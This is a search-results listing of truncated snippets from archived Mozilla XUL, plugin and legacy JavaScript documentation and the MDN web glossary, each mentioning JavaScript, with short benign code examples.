in javascript you can access the builder object with the builder property, although usually you would only need to do this to have the builder regenerate the content in situations where it is not done automatically.
Tree View Details - Archive of obsolete content
also note the use of the javascript get operator to bind a property to a function, so to have the value of the rowcount property that can change dynamically over time, as rowcount has to be a read-only attribute as defined in nsitreeview.
Trees - Archive of obsolete content
ArchiveMozillaXULTutorialTrees
if you do, you might store the data in an array or javascript data structure, or load the data from an xml file.
XPCOM Examples - Archive of obsolete content
this window, stored in the switchwindow variable, is the same as the javascript window object.
Using nsIXULAppInfo - Archive of obsolete content
the following sections provide a few examples of using nsixulappinfo from javascript.
Using spell checking in XUL - Archive of obsolete content
var suggestions = {}; gspellcheckengine.suggest("kat", suggestions, {}); if (suggestions.value) { // suggestions.value is a javascript array of strings // there were suggestions.value.length suggestions found } ...
XUL accessibility guidelines - Archive of obsolete content
the following example shows a javascript function that can be called before destroying an element to check for focus and move it if necessary.
XUL Event Propagation - Archive of obsolete content
for example, if an event handler at the menu is handling an event raised by one of the menu items, then the menu should be able to identify the raising element and take the appropriate action, as in the following example, where a javascript function determines which menuitem was selected and responds appropriately: <script> function docmd(el) { v = el.getattribute("value"); if (v == "new") alert("new clicked"); else if (v == "open") alert("open clicked"); else alert("close clicked"); } </script> ...
checkbox - Archive of obsolete content
attributes accesskey, checked, command, crop, disabled, src, label, preference, tabindex properties accesskey, accessibletype, checked, command, crop, disabled, src, label, tabindex examples <checkbox label="enable javascript" checked="true"/> <checkbox label="enable java" checked="false"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
colorpicker - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> <textbox id="find-text" onchange="return myfunction(event);"/> </window> preference type: id connects the element to a corresponding preference.
editor - Archive of obsolete content
attributes editortype, src, type properties accessibletype, commandmanager, contentdocument, contentwindow, docshell, editingsession, editortype, webbrowserfind, webnavigation methods geteditor, gethtmleditor, makeeditable examples this example shows how to made the editor editable by setting the designmode property of the loaded html document: <script language="javascript"> function initeditor(){ // this function is called to set up the editor var editor = document.getelementbyid("myeditor"); editor.contentdocument.designmode = 'on'; } </script> <editor id="myeditor" editortype="html" src="about:blank" flex="1" type="content-primary"/> once editable, the document can have special formatting and other html pieces added to it using the document.execcommand m...
label - Archive of obsolete content
ArchiveMozillaXULlabel
<label control="email">email address</label> <textbox id="email"/> if the text node contains no tags, it can easily be accessed and manipulated from javascript using node.textcontent.
notificationbox - Archive of obsolete content
eventcallback optional - a javascript function to call to notify you of interesting things that happen with the notification box.
preference - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> <textbox id="find-text" onchange="return myfunction(event);"/> </window> readonly type: boolean if set to true, then the user cannot change the value of the element.
prefpane - Archive of obsolete content
</prefpane> <script type="application/javascript" src="chrome://myext/content/script0.js"> <script type="application/javascript" src="chrome://myext/content/script1.js"> </prefwindow> when opening a dialog with multiple panes you must include the toolbar feature in the call to opendialog, for example: window.opendialog("chrome://example/content/prefwin.xul", "", "chrome,toolbar"); related prefwindow preferences system documentation: ...
window - Archive of obsolete content
to get the window state from javascript code, use window.windowstate.
CommandLine - Archive of obsolete content
o the observer: chrome/content/window.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="main" title="&window.title;" windowtype="xulmine" style="width: 300px; height: 350px;" persist="screenx screeny width height sizemode"> <script type="application/javascript" src="cmdline.js" /> ...
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
javascript.options.showinconsole).
How to enable locale switching in a XULRunner application - Archive of obsolete content
here is a code snippet showing how this is done: the definition of the xul control: <listbox id="locale-listbox"> <!-- generated list items go in here --> </listbox> <button label="&switchlocale.button;" oncommand="changelocale()"/> the javascript code to populate the control: try { // query available and selected locales var chromeregservice = components.classes["@mozilla.org/chrome/chrome-registry;1"].getservice(); var xulchromereg = chromeregservice.queryinterface(components.interfaces.nsixulchromeregistry); var toolkitchromereg = chromeregservice.queryinterface(components.interfaces.nsitoolkitchromeregistry); var selectedloca...
MacFAQ - Archive of obsolete content
icommandline try/catch can be removed, all you need is the window.arguments[0]) <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="myxul_hidden" windowtype="myxul:hiddenwindow" title="" width="0" height="0" persist="screenx screeny width height sizemode" > <!-- load the mozilla helpers --> <script type="application/javascript" src="chrome://global/content/nsusersettings.js" /> <script><![cdata[ function debug(alogstring) { var mconsoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice) mconsoleservice.logstringmessage("myxul: " + alogstring + "\n"); } function checkotherwindows() { var single...
Using SOAP in XULRunner 1.9 - Archive of obsolete content
several alternatives were considered: soapclient 2.4 - this library contains a few javascript mistakes but nevertheless seems (fairly) widely used, mature and tested.
xulauncher - Archive of obsolete content
le ############################################################################## echo " content $xulname file:$xulname/ ">$xulmanifest # create prefs.js file ############################################################################## echo " pref(\"toolkit.defaultchromeuri\", \"chrome://$xulname/content/$xulfile\"); /* debugging prefs */ pref(\"browser.dom.window.dump.enabled\", true); pref(\"javascript.options.showinconsole\", true); pref(\"javascript.options.strict\", true); pref(\"nglayout.debug.disable_xul_cache\", true); pref(\"nglayout.debug.disable_xul_fastload\", true); ">$xulprefs # copy xul file to right location and run it ############################################################################## cp $xulfile $xuldir xulrunner $xulappini $@ ...
XUL Explorer - Archive of obsolete content
it has a list of code snippets (small fragments of xul or javascript) that can be quickly inserted into the editor.
calICalendarView - Archive of obsolete content
there is, however, no practical obstacle to the interface being implemented by any javascript object associated with a group of dom nodes, even non-anonymous xul nodes.
mozilla.dev.platform FAQ - Archive of obsolete content
q: when using xul elements <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box, what needs to be implement?
xbDesignMode.js - Archive of obsolete content
* * contributor(s): doron rosenberg <doron@netscape.com> (original author) * * * * ***** end license block ***** */ /* xbdesignmode a javascript wrapper for browsers that support designmode */ function xbdesignmode(aiframe){ this.meditordocument = null; this.miframeelement = null; // argument is a string, therefore an id if ( (typeof(aiframe) == "string") && (document.getelementbyid(aiframe).tagname.tolowercase()=="iframe") ){ this.miframeelement = document.getelementbyid(aiframe); } else if( (typeof(aiframe)=="object") ...
2006-11-17 - Archive of obsolete content
firefox 2.0 javascript popup issue user seeks advice about a line of javascript code that worked in firefox 1.5.0.x, but not in firefox 2.0 balloon help user inquires if anyone can explain how to disable the balloon help in firefox 2.0.
Extentsions FAQ - Archive of obsolete content
how to create a dynamic drop down menu that may have submenus using javascript for an extension?
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.platform - october 7th to october 13th 2006 announcements no announcments this week other traffic javascript package system for 1.9/ff3 on sun, oct 8 2006 robert sayre inquires about the javascript package system for 1.9 for firefox 3, robert would like to know if there is any chance we'll get this?
2006-11-03 - Archive of obsolete content
chat with the creator of javascript and mozilla cto brendan eich this tuesday, november 7th at 10am pst (utc-8) traffic xepra wants to know how to open multiple tabs in a new window.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.platform - november 11th - november 17th, 2006 announcements no announcements this week traffic xulrunner: <browser> not allowing javascript popup windows b notes that when using xul elements <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box and asks what needs to be implement.
2006-18-24 - Archive of obsolete content
summary: mozilla.dev.platform - november 18th - november 24th, 2006 announcements no announcements this week traffic xulrunner: <browser> not allowing javascript popup windows b notes that when using xul elements <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box and asks what needs to be implement.
2006-10-27 - Archive of obsolete content
discussions extending javascript mitchi is working on a csp (cryptographic service provider) that works on a usb flash drive.
2006-09-22 - Archive of obsolete content
caldwell has noted that the main javascript site on mozilla.org is sending people to the wrong newsgroup.
2006-11-10 - Archive of obsolete content
discussion spidermonkey for the server side a user frusturated by the difference in programming languages between client and server asks if there is a javascript server-side framework.
2006-10-13 - Archive of obsolete content
discussions wxmozilla and ff1.5 xpcom problems updating wxmozilla to use it with firefox 1.5.7 browser elements, opening links in a new window using javascript to open window in new window.
2006-11-24 - Archive of obsolete content
discussions tutorials: non c++ bindings for xpcom tutorials on how to interface with firefox using xpcom on a similar basis to how a developer can with internet explorer through it's com interface tutorals and references related to extension development tutorials on developing extensions which use the third party libraries for firefox references to mozilla api exposed javascript component + xmldocument not accessible a discussion on error: uncaught exception: permission denied to get property xmldocument.textcontent creating xpcom components a good discussion about "components.classes[cid] has no properties" error firefox http explanation about how firefox handles the http aspect meetings none during this week.
Monitoring plugins - Archive of obsolete content
below are a number of javascript snippets that would be useful to developers trying to use this feature: registration to register for runtime notifications with the observer service you must create a class with an observe method which receives 3 parameters (subject, topic and data) as well as a register method that contains the following code: var observerservice = components.classes["@mozilla.org/observer-service;1"] ...
NPN_GetValue - Archive of obsolete content
ariable: npnvxdisplay =1: unix only: returns the current display npnvxtappcontext: unix only: returns the application's xtappcontext npnvnetscapewindow: ms windows and unix/x11 only: ms windows: gets the native window on which plug-in drawing occurs; returns hwnd unix/x11: gets the browser toplevel window in which the plug-in is displayed; returns window npnvjavascriptenabledbool: tells whether javascript is enabled; true=javascript enabled, false=not enabled npnvasdenabledbool: tells whether smartupdate (former name: asd) is enabled; true=smartupdate enabled, false=not enabled npnvisofflinebool: tells whether offline mode is enabled; true=offline mode enabled, false=not enabled npnvtoolkit: npnvsupportsxembedbool: npnvwindownpobject: returns the...
NPVariant - Archive of obsolete content
javascript type to npvarianttype enumeration mapping when using npvariants to access javascript objects in the browser, or vise versa, the mapping of javascript values to npvariants is as follows: javascript type npvarianttype undefined npvarianttype_void null npvarianttype_null boolean npvarianttype_bool ...
NP_GetMIMEDescription - Archive of obsolete content
#include <gio/gio.h> const char* desc = g_content_type_get_description("audio/ogg"); javascript inside a web page, you can retrieve these informations with this code: var mimetype = navigator.mimetypes['application/basic-example-plugin']; if (mimetype) { alert(mimetype.type + ':' + mimetype.suffixes + ':' + mimetype.description); } ...
Plugins - Archive of obsolete content
scripting plugins: macromedia flash this article explains how javascript can be used to access methods from within the flash plugin, as well as how a feature called fscommands can be used to access javascript functions from within the flash animation.
Table Reflow Internals - Archive of obsolete content
style changes through the dom - javascript, browser change font (ctrl+/-), a preference changes, etc.
Developing cross-browser and cross-platform pages - Archive of obsolete content
more on object/feature support detection: a strategy that works: object/feature detecting by comp.lang.javascript newsgroup faq notes browser detection - no; object detection - yes by peter-paul koch also good http://developer.mozilla.org/docs...rowser_support but outdated in my opinion ...
-ms-filter - Archive of obsolete content
top: 20px; left: 20px;" src="sphere.jpg" alt="sphere"> <div id="filterto" style="position: absolute; width: 200px; height: 250px; top: 20px; left: 20px; background: white; visibility: hidden;"> </div> </div> <script type="text/javascript"> let filterimg = document.queryselector('#filterfrom'); filterimg.addeventlistener('click', dofilter); function dofilter () { filterfrom.filters.item(0).apply(); // 12 is the dissolve filter.
-ms-touch-select - Archive of obsolete content
to find out how to do this using javascript, see the html5 selection apis.
Accessing XML children - Archive of obsolete content
normal javascript objects use the .
Namespaces - Archive of obsolete content
qname is a global constructor available in javascript implementations supporting e4x.
The global XML object - Archive of obsolete content
« previous the global xml object e4x-capable javascript engines put a new property on the global object.
E4X Tutorial - Archive of obsolete content
with e4x, programmers can manipulate an xml document with a syntax more familiar to javascript programming.
Array comprehensions - Archive of obsolete content
the array comprehension syntax was a javascript expression which allowed you to quickly assemble a new array based on an existing one.
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
(may 2019) ecmascript next refers to new features of the ecma-262 standard (commonly referred to as javascript) introduced after ecmascript 2015.
Generator comprehensions - Archive of obsolete content
the generator comprehension syntax was a javascript expression which allowed you to quickly assemble a new generator function based on an existing iterable object.
Date.getVarDate() - Archive of obsolete content
remarks the getvardate() method is used when javascript code interacts with com objects, activex objects, or other objects that accept and return date values in vt_date format.
Debug.write - Archive of obsolete content
internet explorer 8 includes the javascript debugger.
Debug.writeln - Archive of obsolete content
internet explorer 8 includes the javascript debugger.
Debug - Archive of obsolete content
internet explorer 8 and later versions include the javascript debugger.
ScriptEngine() - Archive of obsolete content
syntax scriptengine() remarks the scriptengine function returns "jscript", which indicates that javascript is the current scripting engine.
@cc_on - Archive of obsolete content
/*@cc_on @*/ /*@ document.write("javascript version: " + @_jscript_version + "."); document.write("<br />"); @if (@_win32) document.write("running on the 32-bit version of windows."); @elif (@_win16) document.write("running on the 16-bit version of windows."); @else document.write("running on a different operating system."); @end @*/ requirements supported in all versions of internet explorer,...
@if - Archive of obsolete content
/*@cc_on @*/ /*@ document.write("javascript version: " + @_jscript_version + "."); document.write("<br />"); @if (@_win32) document.write("running on a 32-bit version of windows."); @elif (@_win16) document.write("running on a 16-bit version of windows."); @else document.write("running on a different operating system."); @end @*/ requirements supported in all versions of internet explorer, but ...
ECMAScript 2015 support in Mozilla - Archive of obsolete content
it defines the standard for the javascript implementation in spidermonkey, the engine used in firefox and other mozilla applications.
Object.prototype.__noSuchMethod__ - Archive of obsolete content
if this method cannot be called, either as if undefined by default, if deleted, or if manually set to a non-function, the javascript engine will revert to throwing typeerrors.
Object.prototype.unwatch() - Archive of obsolete content
description the javascript debugger has functionality similar to that provided by this method, as well as other debugging options.
Object.prototype.watch() - Archive of obsolete content
the javascript debugger has functionality similar to that provided by this method, as well as other debugging options.
String.prototype.quote() - Archive of obsolete content
implemented in javascript 1.3.
arguments.caller - Archive of obsolete content
implemented in javascript 1.1 and removed in bug 7224 due to potentially vulnerable for security.
for each...in - Archive of obsolete content
please see warning: javascript 1.6's for-each-in loops are deprecated for migration help.
java - Archive of obsolete content
created by the java object is a top-level, predefined javascript object.
netscape - Archive of obsolete content
created by the netscape object is a top-level, predefined javascript object.
sun - Archive of obsolete content
created by the sun object is a top-level, predefined javascript object.
forEach - Archive of obsolete content
jswisher 15 aug 2011 <hr> is this a from _core_ of javascript 1.5?
Implementation Status - Archive of obsolete content
recalculate won't properly mark nodes as dirty if they were changed using javascript interfaces.
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
for example, an organization may decide that c++, java, and javascript will be the primary coding languages.
Displaying a graphic with audio samples - Archive of obsolete content
<!doctype html> <html> <head> <title>javascript spectrum example</title> </head> <body> <audio id="audio-element" src="revolve.ogg" controls="true" style="width: 512px;"> </audio> <div><canvas id="fft" width="512" height="200"></canvas></div> <img id="mozlogo" style="display:none" src="mozilla2.png"></img> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { channels ...
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
this innovation, first introduced by microsoft® internet explorer and later adopted into the css specification, is very popular for the styling of text links, particularly those that are supposed to look and act like javascript-driven "rollovers." however, advancing css support in browsers has caused some unexpectedly aggressive hovering behavior on some pages.
Popup Window Controls - Archive of obsolete content
<html> <head> <title>detecting popup controls</title> <script type="text/javascript"> <!-- // attempt to open an unsolicited window var popup = window.open('about:blank', 'popup'); if (!popup) { // the user has suppressed the popup } // --> </script> </head> <body> <!-- your page here --> </body> </html> if your popup window is crucial to the operation of your web site you can notify the user and ask them to add your site to the list...
XQuery - Archive of obsolete content
while xquery is currently not supported in firefox (whether through javascript to developers or to browser users), at least one extension has been developed to give a preliminary support for xquery for browser users (and serving as a simple model for how xquery can be implemented within extensions).
Examples - Game development
a testament to what can be done with javascript, webgl, and related technologies.
Building up a basic demo with PlayCanvas - Game development
engine vs editor the engine itself can be used as a standard library by including its javascript file directly in your html, so you can start coding right away; in addition the playcanvas toolset comes with an online editor that you can use to drag and drop components onto the scene — a great way to create games and other apps requiring scenes if you're more of a designer than a coder.
Crisp pixel art look with image-rendering - Game development
he original image we want to upscale looks like this: here's some html to create a simple canvas: <canvas id="game" width="128" height="128"></canvas> css to size the canvas and render a crisp image: canvas { width: 512px; height: 512px; image-rendering: -moz-crisp-edges; image-rendering: -webkit-crisp-edges; image-rendering: pixelated; image-rendering: crisp-edges; } and some javascript to set up the canvas and load the image: // get canvas context var ctx = document.getelementbyid('game').getcontext('2d'); // load image var image = new image(); image.onload = function () { // draw the image into the canvas ctx.drawimage(image, 0, 0); } image.src = 'https://udn.realityripple.com/samples/11/a2954fe197.png'; this code used together produces the following result: note...
Tiles and tilemaps overview - Game development
this set of articles covers the basics of creating tile maps using javascript and canvas (although the same high level techniques could be used in any programming language.) besides the performance gains, tilemaps can also be mapped to a logical grid, which can be used in other ways inside the game logic (for example creating a path-finding graph, or handling collisions) or to create a level editor.
Paddle and keyboard controls - Game development
add the following lines just above the setinterval() line at the bottom of your javascript: document.addeventlistener("keydown", keydownhandler, false); document.addeventlistener("keyup", keyuphandler, false); when the keydown event is fired on any of the keys on your keyboard (when they are pressed), the keydownhandler() function will be executed.
Track the score and win - Game development
add the following into your javascript, after the rest of your variables: var score = 0; you also need a drawscore() function, to create and update the score display.
Build the brick field - Game development
building the brick field is a little bit more complicated than adding a single object to the screen, although it's still easier with phaser than in pure javascript.
Collision detection - Game development
you would expect to have to write a lot more calculations of your own to implement collision detection when using pure javascript.
Initialize the framework - Game development
the body contains a second <script> element, where we will write the javascript code to render the game and control it.
Move the ball - Game development
this would take several lines of code — a significantly more complex step than we have seen so far, especially if we want to add paddle and brick collisions too — but fortunately phaser allows us to do this much more easily than if we wanted to use pure javascript.
Tutorials - Game development
2d breakout game using pure javascript in this step-by-step tutorial you'll implement a simple breakout clone using pure javascript.
Argument - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge difference between parameter and argument on wikipedia technical reference the arguments object in javascript ...
Base64 - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript there are two functions respectively for decoding and encoding base64 strings: btoa(): creates a base-64 encoded ascii string from a "string" of binary data ("btoa" should be read as "binary to ascii").
Block - MDN Web Docs Glossary: Definitions of Web-related terms
block (scripting) in javascript, a block is a collection of related statements enclosed in braces ("{}").
Bootstrap - MDN Web Docs Glossary: Definitions of Web-related terms
bootstrap is a free, open source html, css, and javascript framework for quickly building responsive websites.
CDN - MDN Web Docs Glossary: Definitions of Web-related terms
cdns are used widely for delivering stylesheets and javascript files (static assets) of libraries like bootstrap, jquery etc.
CORS - MDN Web Docs Glossary: Definitions of Web-related terms
cors (cross-origin resource sharing) is a system, consisting of transmitting http headers, that determines whether browsers block frontend javascript code from accessing responses for cross-origin requests.
CSS - MDN Web Docs Glossary: Definitions of Web-related terms
css is one of the three core web technologies, along with html and javascript.
CSS Object Model (CSSOM) - MDN Web Docs Glossary: Definitions of Web-related terms
cssom api the css object model is also a set of apis allowing the manipulation of css from javascript.
Call stack - MDN Web Docs Glossary: Definitions of Web-related terms
a call stack is a mechanism for an interpreter (like the javascript interpreter in a web browser) to keep track of its place in a script that calls multiple functions — what function is currently being run and what functions are called from within that function, etc.
Canvas - MDN Web Docs Glossary: Definitions of Web-related terms
it provides an empty graphic zone on which specific javascript apis can draw (such as canvas 2d or webgl).
Class - MDN Web Docs Glossary: Definitions of Web-related terms
prototype-based programming languages (like javascript) using functions as classes in javascript class-based programming on wikipedia object-oriented programming on wikipedia ...
Closure - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, functions create a closure context.
Code splitting - MDN Web Docs Glossary: Definitions of Web-related terms
as an application grows in complexity or is simply maintained, css and javascripts files or bundles grow in byte size, especially as the number and size of included third-party libraries increases.
Computer Programming - MDN Web Docs Glossary: Definitions of Web-related terms
these instructions come in the form of many different languages such as c++, java, javascript, html, python, ruby, and rust.
Conditional - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge condition on wikipedia control flow on mdn learn about it making decisions in your code — conditionals control flow and error handling in javascript on mdn ...
Cookie - MDN Web Docs Glossary: Definitions of Web-related terms
cookies can be set and modified at the server level using the set-cookie http header, or with javascript using document.cookie.
DHTML - MDN Web Docs Glossary: Definitions of Web-related terms
dhtml aggregates the combined functionality of html, css, the dom, and javascript.
DOM (Document Object Model) - MDN Web Docs Glossary: Definitions of Web-related terms
dom was not originally specified—it came about when browsers began implementing javascript.
Deserialization - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, for example, you can deserialize a json string to an object by calling the function json.parse().
Developer Tools - MDN Web Docs Glossary: Definitions of Web-related terms
they let users inspect and debug the page's html, css, and javascript, allow to inspect the network traffic it causes, make it possible to measure it's performance, and much more.
Doctype - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge definition of the doctype in the html specification quirks mode and standards mode technical reference document.doctype, a javascript method that returns the doctype ...
Domain sharding - MDN Web Docs Glossary: Definitions of Web-related terms
the initial response from an http request is generally an html file listing other resources such as javascript, css, images and other media files that need to be downloaded.
Dynamic programming language - MDN Web Docs Glossary: Definitions of Web-related terms
for example, in javascript it is possible to change the type of a variable or add new properties or methods to an object while the program is running.
ECMA - MDN Web Docs Glossary: Definitions of Web-related terms
ecmascript) which is the core specification for the javascript language.
ECMAScript - MDN Web Docs Glossary: Definitions of Web-related terms
ecmascript is a scripting language specification on which javascript is based.
Effective connection type - MDN Web Docs Glossary: Definitions of Web-related terms
effectivetype is a property of the network information api, exposed to javascript via the navigator.connection object.
Exception - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript syntax errors are a very common source of exceptions.
Expando - MDN Web Docs Glossary: Definitions of Web-related terms
expando properties are properties added to dom nodes with javascript, where those properties are not part of the object's dom specification: window.document.foo = 5; // foo is an expando the term may also be applied to properties added to objects without respecting the object's original intent, such as non-numeric named properties added to an array.
Fetch metadata request header - MDN Web Docs Glossary: Definitions of Web-related terms
these header names are prefixed with sec- and thus they are forbidden header names so headers can not be modified from javascript.
Function - MDN Web Docs Glossary: Definitions of Web-related terms
a function in javascript is also an object.
Fuzz testing - MDN Web Docs Glossary: Definitions of Web-related terms
jesse's blog posts about fuzzing wikipedia: fuzz testing fuzzdb jsfuzz - coverage guided javascript fuzzer ...
GIJ - MDN Web Docs Glossary: Definitions of Web-related terms
marionette- and javascript- based..
Gaia - MDN Web Docs Glossary: Definitions of Web-related terms
gaia is implemented entirely with html, css, and javascript, and its only interfaces to the underlying operating system are through open web apis, which the gecko layer implements.
Global variable - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript it is a property of the global object.
Graceful degradation - MDN Web Docs Glossary: Definitions of Web-related terms
polyfills can be used to build in missing features with javascript, but acceptable alternatives to features like styling and layout should be provided where possible, for example by using the css cascade, or html fallback behaviour.
HTML5 - MDN Web Docs Glossary: Definitions of Web-related terms
among other features, html5 includes new elements and javascript apis to enhance storage, multimedia, and hardware access.
Head - MDN Web Docs Glossary: Definitions of Web-related terms
the head is the part of an html document that contains metadata about that document, such as author, description, and links to css or javascript files that should be applied to the html.
IndexedDB - MDN Web Docs Glossary: Definitions of Web-related terms
however, it uses javascript objects rather than fixed columns tables to store data.
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
your data model is probably contained in some kind of database (be it a traditional server-side database like mysql, or a client-side solution such as indexeddb [en-us].) your app's controlling code is probably written in html/javascript, and your user interface is probably written using html/css/whatever else you like.
Mutable - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, only objects and arrays are mutable, not primitive values.
Netscape Navigator - MDN Web Docs Glossary: Definitions of Web-related terms
netscape could display a webpage while loading, used javascript for forms and interactive content, and stored session information in cookies.
Node.js - MDN Web Docs Glossary: Definitions of Web-related terms
node.js is a cross-platform javascript runtime environment that allows developers to build server-side and network applications with javascript.
Null - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, null is marked as one of the primitive values, because its behaviour is seemingly primitive.
Nullish value - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, a nullish value is the value which is either null or undefined.
Parent object - MDN Web Docs Glossary: Definitions of Web-related terms
learn more discussion of inheritance and prototypes in javascript ...
Progressive Enhancement - MDN Web Docs Glossary: Definitions of Web-related terms
feature detection is generally used to determine whether browsers can handle more modern functionality, while polyfills are often used to add missing features with javascript.
Promise - MDN Web Docs Glossary: Definitions of Web-related terms
general knowledge futures and promises technical reference promise in the javascript reference.
RAIL - MDN Web Docs Glossary: Definitions of Web-related terms
idle when using the main javascript thread, work in chunks for less than 50ms to free up the thread for user interactions.
Random Number Generator - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge pseudorandom number generator on wikipedia math.random(), a built-in javascript prng function.
Recursion - MDN Web Docs Glossary: Definitions of Web-related terms
def recurse(x): if x > 0: print(x) recurse(x - 1) recurse(10) the output will look like this: 10 9 8 7 6 5 4 3 2 1 0 learn more general knowledge recursion (computer science) on wikipedia more details about recursion in javascript ...
Reference - MDN Web Docs Glossary: Definitions of Web-related terms
on mdn, we could be talking about the javascript reference itself.
Resource Timing - MDN Web Docs Glossary: Definitions of Web-related terms
the resource timing api is a javascript api that is able to capture timing information for each individual resource that is fetched when a page is loaded.
SPA (Single-page application) - MDN Web Docs Glossary: Definitions of Web-related terms
an spa (single-page application) is a web app implemention that loads only a single web document, and then updates the body content of that single document via javascript apis such as xmlhttprequest and fetch when different content is to be shown.
SVG - MDN Web Docs Glossary: Definitions of Web-related terms
based on an xml syntax, svg can be styled with css and made interactive using javascript.
Scope - MDN Web Docs Glossary: Definitions of Web-related terms
a function serves as a closure in javascript, and thus creates a scope, so that (for example) a variable defined exclusively within the function cannot be accessed from outside the function or within other functions.
Self-Executing Anonymous Function - MDN Web Docs Glossary: Definitions of Web-related terms
a javascript function that runs as soon as it is defined.
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
in programming, semantics refers to the meaning of a piece of code — for example "what effect does running that line of javascript have?", or "what purpose or role does that html element have" (rather than "what does it look like?".) semantics in javascript in javascript, consider a function that takes a string parameter, and returns an <li> element with that string as its textcontent.
Serialization - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, for example, you can serialize an object to a json string by calling the function json.stringify().
Server Timing - MDN Web Docs Glossary: Definitions of Web-related terms
the server timing specification enables the server to communicate performance metrics from the request-response cycle to the user agent, and utilizes a javascript interface to allow applications to collect, process, and act on these metrics to optimize application delivery.
Statement - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge statement (computer science) on wikipedia technical reference javascript statements and declarations ...
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
however, modern javascript offers ways to create additional threads, each executing independently while possibly communicating between one another.
Three js - MDN Web Docs Glossary: Definitions of Web-related terms
three.js is a javascript-based webgl engine that can run gpu-powered games and other graphics-powered apps straight from the browser.
Variable - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge variable (computer science) on wikipedia technical reference declaring variables in javascript var statement in javascript ...
Vendor Prefix - MDN Web Docs Glossary: Definitions of Web-related terms
browser vendors sometimes add prefixes to experimental or nonstandard css properties and javascript apis, so developers can experiment with new ideas while—in theory—preventing their experiments from being relied upon and then breaking web developers' code during the standardization process.
WebGL - MDN Web Docs Glossary: Definitions of Web-related terms
webgl (web graphics library) is a javascript api that draws interactive 2d and 3d graphics.
WebIDL - MDN Web Docs Glossary: Definitions of Web-related terms
it uses a somewhat stylized syntax which is independent of any specific programming language, so that the underlying code which is used to build each api can be written in whatever language is most appropriate, while still being possible to map the api's components to javascript-compatible constructs.
WebKit - MDN Web Docs Glossary: Definitions of Web-related terms
however, two important components fall under the lgpl: the webcore rendering library and the javascriptcore engine.
Web standards - MDN Web Docs Glossary: Definitions of Web-related terms
rk systems must conform to: ietf (internet engineering task force): internet standards (std), which among other things govern set-up and use of uris, http, and mime w3c: specifications for markup language (e.g., html), style definitions (i.e., css), dom, accessibility iana (internet assigned numbers authority): name and number registries ecma intl.: scripting standards, most prominently for javascript iso (international organization for standardization): standards governing a diverse array of aspects, including character encodings, website management, and user-interface design learn more general knowledge web standards on wikipedia ...
Wrapper - MDN Web Docs Glossary: Definitions of Web-related terms
in programming languages such as javascript, a wrapper is a function that is intended to call one or more other functions, sometimes purely for convenience, and sometimes adapting them to do a slightly different task in the process.
XHR (XMLHttpRequest) - MDN Web Docs Glossary: Definitions of Web-related terms
xmlhttprequest (xhr) is a javascript api to create ajax requests.
document environment - MDN Web Docs Glossary: Definitions of Web-related terms
when the javascript global environment is a window or an iframe, it is called a document environment.
Event - MDN Web Docs Glossary: Definitions of Web-related terms
events are assets generated by dom elements, which can be manipulated by a javascript code.
jQuery - MDN Web Docs Glossary: Definitions of Web-related terms
jquery is a javascript library that focuses on simplifying dom manipulation, ajax calls, and event handling.
Property - MDN Web Docs Glossary: Definitions of Web-related terms
property (javascript) a javascript property is a characteristic of an object, often describing attributes associated with a data structure.
Strict mode - MDN Web Docs Glossary: Definitions of Web-related terms
javascript's strict mode is a way to opt in to a restricted variant of javascript, thereby implicitly opting-out of "sloppy mode".
undefined - MDN Web Docs Glossary: Definitions of Web-related terms
example var x; //create a variable but assign it no value console.log("x's value is", x) //logs "x's value is undefined" learn more general knowledge undefined value on wikipedia technical reference javascript data types and data structures ...
User agent - MDN Web Docs Glossary: Definitions of Web-related terms
the user agent string can be accessed with javascript on the client side using the navigator.useragent property.
Test your skills: WAI-ARIA - Learn web development
wai-aria 3 for this final wai-aria task, we return to an example we previously saw in the css and javascript skilltest.
CSS values and units - Learn web development
functions are usually associated with languages like javascript, python, or c++, but they do exist in css too, as property values.
How CSS works - Learn web development
